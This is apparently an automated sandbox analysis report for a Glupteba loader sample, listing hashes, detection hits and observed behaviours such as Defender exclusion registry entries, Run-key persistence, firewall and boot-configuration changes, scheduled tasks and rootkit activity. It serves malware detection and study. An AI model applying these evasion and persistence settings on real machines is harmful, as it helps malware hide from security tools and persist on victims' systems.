glupteba | 92f658b313e509147deebb1f168ee8cc1e979c9abc1be9000025ac3e10e7e8bf

Analysis

max time kernel
149s
max time network
142s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
01-06-2024 22:21

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General

Target

8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
Size

3.8MB
MD5

8bfc68524ec5b5da12ec06b977396d2d
SHA1

caf436e06a8f6fe7188b05870ebbe1f06fcdae00
SHA256

92f658b313e509147deebb1f168ee8cc1e979c9abc1be9000025ac3e10e7e8bf
SHA512

7fbe3b70b8ff320b7bb768920af9911fc1378035d9e73a0d59003b4dd65dc3f29408ce211338a37d33dde1e859d136134ef4d6dd0e71b506153280cac0f35264
SSDEEP

98304:rlWL8aofMQM6gF/X37XyIf/sIKMZSQbbQcAjLc4DJt7vBpM:pWogNXriWMobQvfcS/pM

Score

10^/10

glupteba discovery dropper evasion loader persistence rootkit trojan

Malware Config

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba payload 20 IoCs

Processes:

resource	yara_rule
behavioral1/memory/2804-2-0x0000000003820000-0x0000000003F16000-memory.dmp	family_glupteba
behavioral1/memory/2804-3-0x0000000000400000-0x0000000000B10000-memory.dmp	family_glupteba
behavioral1/memory/2804-5-0x0000000003820000-0x0000000003F16000-memory.dmp	family_glupteba
behavioral1/memory/2804-7-0x0000000000400000-0x0000000000B10000-memory.dmp	family_glupteba
behavioral1/memory/2804-4-0x0000000000400000-0x000000000313B000-memory.dmp	family_glupteba
behavioral1/memory/2484-17-0x0000000000400000-0x000000000313B000-memory.dmp	family_glupteba
behavioral1/memory/2152-96-0x0000000000400000-0x000000000313B000-memory.dmp	family_glupteba
behavioral1/memory/2152-219-0x0000000000400000-0x000000000313B000-memory.dmp	family_glupteba
behavioral1/memory/2152-347-0x0000000000400000-0x000000000313B000-memory.dmp	family_glupteba
behavioral1/memory/2152-408-0x0000000000400000-0x000000000313B000-memory.dmp	family_glupteba
behavioral1/memory/2152-540-0x0000000000400000-0x000000000313B000-memory.dmp	family_glupteba
behavioral1/memory/2152-542-0x0000000000400000-0x000000000313B000-memory.dmp	family_glupteba
behavioral1/memory/2152-543-0x0000000000400000-0x000000000313B000-memory.dmp	family_glupteba
behavioral1/memory/2152-544-0x0000000000400000-0x000000000313B000-memory.dmp	family_glupteba
behavioral1/memory/2152-545-0x0000000000400000-0x000000000313B000-memory.dmp	family_glupteba
behavioral1/memory/2152-546-0x0000000000400000-0x000000000313B000-memory.dmp	family_glupteba
behavioral1/memory/2152-547-0x0000000000400000-0x000000000313B000-memory.dmp	family_glupteba
behavioral1/memory/2152-548-0x0000000000400000-0x000000000313B000-memory.dmp	family_glupteba
behavioral1/memory/2152-585-0x0000000000400000-0x000000000313B000-memory.dmp	family_glupteba
behavioral1/memory/2152-586-0x0000000000400000-0x000000000313B000-memory.dmp	family_glupteba

Windows security bypass 2 TTPs 12 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Processes:

8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe = "0"	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\3039866ab7d9\3039866ab7d9 = "0"	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\PolishedSunset = "0"	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0"	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0"	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\3039866ab7d9.exe = "0"	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe

Modifies Windows Firewall 2 TTPs 1 IoCs
evasion

Windows Service
T1543.003

Disable or Modify System Firewall
T1562.004

Processes:

netsh.exe

pid process

2672 netsh.exe
Executes dropped EXE 3 IoCs

Processes:

csrss.exepatch.exe

pid process

2152 csrss.exe
1412 patch.exe
1396

pid	process
2672	netsh.exe

pid	process
2152	csrss.exe
1412	patch.exe
1396

Loads dropped DLL 12 IoCs

Processes:

8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exepatch.exe

pid	process
2484	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
2484	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
844
1412	patch.exe
1412	patch.exe
1412	patch.exe
1412	patch.exe
1412	patch.exe
1396
1412	patch.exe
1412	patch.exe
1412	patch.exe

Windows security modification 2 TTPs 12 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Processes:

8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0"	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0"	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\3039866ab7d9\3039866ab7d9 = "0"	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\3039866ab7d9.exe = "0"	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\PolishedSunset = "0"	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe = "0"	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Windows\CurrentVersion\Run\PolishedSunset = "\"C:\\Windows\\rss\\csrss.exe\""	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Manipulates WinMonFS driver. 1 IoCs
Roottkits write to WinMonFS to hide directories/files from being detected.
rootkit evasion

Processes:

csrss.exe

description ioc process

File opened for modification \??\WinMonFS csrss.exe
Modifies boot configuration data using bcdedit 1 IoCs

Processes:

bcdedit.exe

pid process

2552 bcdedit.exe

description	ioc	process
File opened for modification	\??\WinMonFS	csrss.exe

pid	process
2552	bcdedit.exe

Drops file in System32 directory 4 IoCs

Processes:

csrss.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015	csrss.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015	csrss.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F0ACCF77CDCBFF39F6191887F6D2D357	csrss.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F0ACCF77CDCBFF39F6191887F6D2D357	csrss.exe

Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs
Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

System Information Discovery
T1082

Processes:

8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe

description ioc process

File opened (read-only) \??\VBoxMiniRdrDN 8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe

description	ioc	process
File opened (read-only)	\??\VBoxMiniRdrDN	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe

Drops file in Windows directory 3 IoCs

Processes:

8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exemakecab.exe

description	ioc	process
File created	C:\Windows\rss\csrss.exe	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
File created	C:\Windows\Logs\CBS\CbsPersist_20240601222132.cab	makecab.exe
File opened for modification	C:\Windows\rss	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exeschtasks.exe

pid process

1092 schtasks.exe
668 schtasks.exe

pid	process
1092	schtasks.exe
668	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

csrss.exe8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exenetsh.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-462 = "Afghanistan Standard Time"	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-692 = "Tasmania Standard Time"	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-101 = "Provides Network Access Protection enforcement for EAP authenticated network connections, such as those used with 802.1X and VPN technologies."	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-222 = "Alaskan Standard Time"	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-732 = "Fiji Standard Time"	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-434 = "Georgian Daylight Time"	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-392 = "Arab Standard Time"	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-662 = "Cen. Australia Standard Time"	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-961 = "Paraguay Daylight Time"	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-301 = "Romance Daylight Time"	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-381 = "South Africa Daylight Time"	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-531 = "Sri Lanka Daylight Time"	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-471 = "Ekaterinburg Daylight Time"	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-384 = "Namibia Daylight Time"	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-751 = "Tonga Daylight Time"	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-962 = "Paraguay Standard Time"	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-592 = "Malay Peninsula Standard Time"	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-41 = "E. South America Daylight Time"	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-742 = "New Zealand Standard Time"	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-92 = "Pacific SA Standard Time"	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-121 = "SA Pacific Daylight Time"	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-252 = "Dateline Standard Time"	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-112 = "Eastern Standard Time"	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-501 = "Nepal Daylight Time"	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-552 = "North Asia Standard Time"	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-871 = "Pakistan Daylight Time"	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-82 = "Atlantic Standard Time"	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-571 = "China Daylight Time"	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-42 = "E. South America Standard Time"	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-661 = "Cen. Australia Daylight Time"	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-411 = "E. Africa Daylight Time"	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-71 = "Newfoundland Daylight Time"	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-131 = "US Eastern Daylight Time"	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-12 = "Azores Standard Time"	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-181 = "Mountain Daylight Time (Mexico)"	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-542 = "Myanmar Standard Time"	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-792 = "SA Western Standard Time"	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-602 = "Taipei Standard Time"	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-752 = "Tonga Standard Time"	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\My	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-281 = "Central Europe Daylight Time"	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-262 = "GMT Standard Time"	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-51 = "Greenland Daylight Time"	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1472 = "Magadan Standard Time"	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-741 = "New Zealand Daylight Time"	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-102 = "1.0"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-151 = "Central America Daylight Time"	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-412 = "E. Africa Standard Time"	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-982 = "Kamchatka Standard Time"	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-622 = "Korea Standard Time"	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1021 = "Bangladesh Daylight Time"	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-621 = "Korea Daylight Time"	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-111 = "Eastern Daylight Time"	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.execsrss.exe

pid process

2804 8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
2484 8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
2152 csrss.exe
2152 csrss.exe

pid	process
2804	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
2484	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
2152	csrss.exe
2152	csrss.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.execsrss.exe

description	pid	process
Token: SeDebugPrivilege	2804	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
Token: SeImpersonatePrivilege	2804	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
Token: SeSystemEnvironmentPrivilege	2152	csrss.exe

Suspicious use of WriteProcessMemory 15 IoCs

Processes:

8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.execmd.execsrss.exe

description	pid	process	target process
PID 2484 wrote to memory of 2548	2484	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe	cmd.exe
PID 2484 wrote to memory of 2548	2484	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe	cmd.exe
PID 2484 wrote to memory of 2548	2484	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe	cmd.exe
PID 2484 wrote to memory of 2548	2484	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe	cmd.exe
PID 2548 wrote to memory of 2672	2548	cmd.exe	netsh.exe
PID 2548 wrote to memory of 2672	2548	cmd.exe	netsh.exe
PID 2548 wrote to memory of 2672	2548	cmd.exe	netsh.exe
PID 2484 wrote to memory of 2152	2484	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe	csrss.exe
PID 2484 wrote to memory of 2152	2484	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe	csrss.exe
PID 2484 wrote to memory of 2152	2484	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe	csrss.exe
PID 2484 wrote to memory of 2152	2484	8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe	csrss.exe
PID 2152 wrote to memory of 2552	2152	csrss.exe	bcdedit.exe
PID 2152 wrote to memory of 2552	2152	csrss.exe	bcdedit.exe
PID 2152 wrote to memory of 2552	2152	csrss.exe	bcdedit.exe
